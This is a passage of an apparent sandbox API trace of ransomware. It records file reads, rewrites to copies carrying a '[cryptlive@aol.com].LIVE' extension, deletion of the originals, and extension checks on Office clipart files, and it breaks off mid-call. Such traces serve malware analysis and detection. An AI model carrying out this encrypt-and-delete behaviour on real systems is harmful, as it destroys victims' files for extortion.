liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0151.496] GetLastError () returned 0x0 [0151.496] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3264, lpOverlapped=0x0) returned 1 [0151.536] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3270, lpOverlapped=0x0) returned 1 [0151.537] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.537] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.537] SetEndOfFile (hFile=0x350) returned 1 [0151.538] CloseHandle (hObject=0x350) returned 1 [0151.538] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.538] SetEndOfFile (hFile=0x3b8) returned 1 [0151.540] CloseHandle (hObject=0x3b8) returned 1 [0151.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.542] lstrlenW (lpString=".doc") returned 4 [0151.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString=".docx") returned 5 [0151.542] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.542] lstrlenW (lpString=".pdf") returned 4 [0151.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString=".xls") returned 4 [0151.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.542] lstrlenW (lpString=".xlsx") returned 5 [0151.542] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.542] lstrlenW (lpString=".ppt") returned 4 [0151.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.542] lstrlenW (lpString=".zip") returned 4 [0151.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.542] lstrlenW (lpString=".rar") returned 4 [0151.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString=".bz2") returned 4 [0151.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString=".7z") returned 3 [0151.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.542] lstrlenW (lpString=".dbf") returned 4 [0151.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.542] lstrlenW (lpString=".1cd") returned 4 [0151.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.542] lstrlenW (lpString=".jpg") returned 4 [0151.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.543] lstrlenW (lpString=".doc") returned 4 [0151.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString=".docx") returned 5 [0151.543] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.543] lstrlenW (lpString=".pdf") returned 4 [0151.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString=".xls") returned 4 [0151.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.543] lstrlenW (lpString=".xlsx") returned 5 [0151.543] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.543] lstrlenW (lpString=".ppt") returned 4 [0151.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.543] lstrlenW (lpString=".zip") returned 4 [0151.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.543] lstrlenW (lpString=".rar") returned 4 [0151.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString=".bz2") returned 4 [0151.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString=".7z") returned 3 [0151.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.543] lstrlenW (lpString=".dbf") returned 4 [0151.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.543] lstrlenW (lpString=".1cd") returned 4 [0151.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0151.543] lstrlenW (lpString=".jpg") returned 4 [0151.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.543] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.543] lstrlenW (lpString="J0103850.WMF") returned 12 [0151.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.544] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=23596) returned 1 [0151.544] CloseHandle (hObject=0x3b8) returned 1 [0151.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20 [0151.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.545] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.545] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0151.545] GetLastError () returned 0x0 [0151.545] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x5c2c, lpOverlapped=0x0) returned 1 [0151.598] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x5c30, lpOverlapped=0x0) returned 1 [0151.599] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.599] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.599] SetEndOfFile (hFile=0x350) returned 1 [0151.599] CloseHandle (hObject=0x350) returned 1 [0151.599] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.599] SetEndOfFile (hFile=0x3b8) returned 1 [0151.601] CloseHandle (hObject=0x3b8) returned 1 [0151.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0151.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.603] lstrlenW (lpString=".doc") returned 4 [0151.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString=".docx") returned 5 [0151.603] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.603] lstrlenW (lpString=".pdf") returned 4 [0151.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString=".xls") returned 4 [0151.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.603] lstrlenW (lpString=".xlsx") returned 5 [0151.603] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.603] lstrlenW (lpString=".ppt") returned 4 [0151.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.603] lstrlenW (lpString=".zip") returned 4 [0151.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.603] lstrlenW (lpString=".rar") returned 4 [0151.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString=".bz2") returned 4 [0151.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString=".7z") returned 3 [0151.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.603] lstrlenW (lpString=".dbf") returned 4 [0151.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.603] lstrlenW (lpString=".1cd") returned 4 [0151.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.603] lstrlenW (lpString=".jpg") returned 4 [0151.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.603] lstrlenW (lpString=".doc") returned 4 [0151.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.603] lstrlenW (lpString=".docx") returned 5 [0151.603] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.604] lstrlenW (lpString=".pdf") returned 4 [0151.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.604] lstrlenW (lpString=".xls") returned 4 [0151.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.604] lstrlenW (lpString=".xlsx") returned 5 [0151.604] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.604] lstrlenW (lpString=".ppt") returned 4 [0151.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.604] lstrlenW (lpString=".zip") returned 4 [0151.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.604] lstrlenW (lpString=".rar") returned 4 [0151.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.604] lstrlenW (lpString=".bz2") returned 4 [0151.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.604] lstrlenW (lpString=".7z") returned 3 [0151.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.604] lstrlenW (lpString=".dbf") returned 4 [0151.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.604] lstrlenW (lpString=".1cd") returned 4 [0151.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0151.604] lstrlenW (lpString=".jpg") returned 4 [0151.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.604] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.604] lstrlenW (lpString="J0105234.WMF") returned 12 [0151.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.622] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3444) returned 1 [0151.622] CloseHandle (hObject=0x384) returned 1 [0151.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 0x20 [0151.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.623] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.623] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.625] GetLastError () returned 0x0 [0151.625] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xd74, lpOverlapped=0x0) returned 1 [0151.627] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xd80, lpOverlapped=0x0) returned 1 [0151.628] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.628] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.628] SetEndOfFile (hFile=0x1b8) returned 1 [0151.628] CloseHandle (hObject=0x1b8) returned 1 [0151.628] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.628] SetEndOfFile (hFile=0x384) returned 1 [0151.630] CloseHandle (hObject=0x384) returned 1 [0151.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0151.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.631] lstrlenW (lpString=".doc") returned 4 [0151.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.631] lstrlenW (lpString=".docx") returned 5 [0151.631] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.631] lstrlenW (lpString=".pdf") returned 4 [0151.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.631] lstrlenW (lpString=".xls") returned 4 [0151.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.632] lstrlenW (lpString=".xlsx") returned 5 [0151.632] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.632] lstrlenW (lpString=".ppt") returned 4 [0151.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.632] lstrlenW (lpString=".zip") returned 4 [0151.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.632] lstrlenW (lpString=".rar") returned 4 [0151.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.632] lstrlenW (lpString=".bz2") returned 4 [0151.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.632] lstrlenW (lpString=".7z") returned 3 [0151.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.632] lstrlenW (lpString=".dbf") returned 4 [0151.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.632] lstrlenW (lpString=".1cd") returned 4 [0151.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.632] lstrlenW (lpString=".jpg") returned 4 [0151.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.632] lstrlenW (lpString=".doc") returned 4 [0151.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.632] lstrlenW (lpString=".docx") returned 5 [0151.632] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.632] lstrlenW (lpString=".pdf") returned 4 [0151.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.632] lstrlenW (lpString=".xls") returned 4 [0151.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.632] lstrlenW (lpString=".xlsx") returned 5 [0151.632] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.633] lstrlenW (lpString=".ppt") returned 4 [0151.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.633] lstrlenW (lpString=".zip") returned 4 [0151.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.633] lstrlenW (lpString=".rar") returned 4 [0151.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.633] lstrlenW (lpString=".bz2") returned 4 [0151.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.633] lstrlenW (lpString=".7z") returned 3 [0151.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.633] lstrlenW (lpString=".dbf") returned 4 [0151.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.633] lstrlenW (lpString=".1cd") returned 4 [0151.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0151.633] lstrlenW (lpString=".jpg") returned 4 [0151.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.633] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.633] lstrlenW (lpString="J0105238.WMF") returned 12 [0151.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.634] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=17172) returned 1 [0151.634] CloseHandle (hObject=0x384) returned 1 [0151.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 0x20 [0151.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.634] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.634] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.635] GetLastError () returned 0x0 [0151.635] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4314, lpOverlapped=0x0) returned 